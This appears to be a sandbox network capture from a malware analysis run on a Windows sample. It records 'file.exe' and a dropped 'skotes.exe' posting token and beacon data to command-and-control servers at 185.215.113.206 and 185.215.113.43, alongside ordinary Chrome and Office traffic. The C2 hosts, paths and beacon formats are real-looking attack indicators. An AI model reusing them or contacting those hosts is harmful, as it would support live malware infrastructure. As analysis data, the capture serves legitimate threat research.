Nov 22, 2024 23:06:47.390739918 CET	1236	IN	Data Raw: c8 25 c7 0c 9a 2d 05 64 9d ff cf c5 1d 16 34 87 8c 9a d1 50 6d 4f ae 7d d4 45 b1 80 eb 74 87 64 0d 0c d0 c8 61 9a c8 72 cc 6d 6a f4 f7 68 44 8f f6 4b bd be 8a a1 a2 bc 86 bb dc c2 45 d9 25 f0 f0 00 b0 7d 61 de 2a 04 14 a2 3f f1 82 30 ae 7e 15 6d Data Ascii: %-d4PmO}EtdarmjhDKE%}a?0~mD/!znGPYF3SEz }=is5#'mo%BV(r9p-W38aO@VDC;MmPQ5f5@.\|hf}$LjKg!q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49918	185.215.113.206	80	5640	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 23:06:51.337908030 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CGCFBFBGHDGDAKECAKJE--
Nov 22, 2024 23:06:53.316751003 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50097	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 23:08:04.577491045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 23:08:06.022488117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 22:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	142.250.181.68	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:15 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:06:16 UTC	1367	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-0TrpSQwhCpxpb5XElEOS9w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:06:16 UTC	23	IN	Data Raw: 33 32 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 68 69 6e 61 20 61 Data Ascii: 328)]}'["",["china a
2024-11-22 22:06:16 UTC	792	IN	Data Raw: 69 72 63 72 61 66 74 20 63 61 72 72 69 65 72 20 73 61 74 65 6c 6c 69 74 65 20 69 6d 61 67 65 73 22 2c 22 6b 69 74 68 20 62 61 74 6d 61 6e 20 63 6f 6c 6c 65 63 74 69 6f 6e 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 2c 22 6e 65 77 20 6a 65 72 73 65 79 20 73 63 68 6f 6f 6c 20 63 6c 6f 73 69 6e 67 73 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 32 32 22 2c 22 62 72 79 63 65 20 75 6e 64 65 72 77 6f 6f 64 20 6d 69 63 68 69 67 61 6e 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 6d 61 67 6e 65 74 69 63 20 6e 6f 72 74 68 20 70 6f 6c 65 20 73 68 69 66 74 69 6e 67 22 2c 22 64 75 63 74 20 74 61 70 65 64 20 62 61 6e 61 6e 61 20 61 72 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c Data Ascii: ircraft carrier satellite images","kith batman collection","ripple xrp price prediction","new jersey school closings","nyt strands hints november 22","bryce underwood michigan football","magnetic north pole shifting","duct taped banana art"],["","","","",
2024-11-22 22:06:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	142.250.181.68	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:15 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	142.250.181.68	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:15 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:06:16 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 22:06:16 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:06:16 UTC	372	IN	Data Raw: 32 30 64 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20d1)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 36 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700276,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-22 22:06:16 UTC	1087	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-22 22:06:16 UTC	481	IN	Data Raw: 31 64 61 0d 0a 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e Data Ascii: 1dahtml\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 Data Ascii: 8000\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\"
2024-11-22 22:06:16 UTC	1390	IN	Data Raw: 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 Data Ascii: on(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	142.250.181.68	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:15 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:06:16 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 22:06:16 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:06:16 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-22 22:06:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:20 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: 0e3600b6-201e-0096-7125-3cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220619Z-178bfbc474bfw4gbhC1NYCunf400000003mg000000008eht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
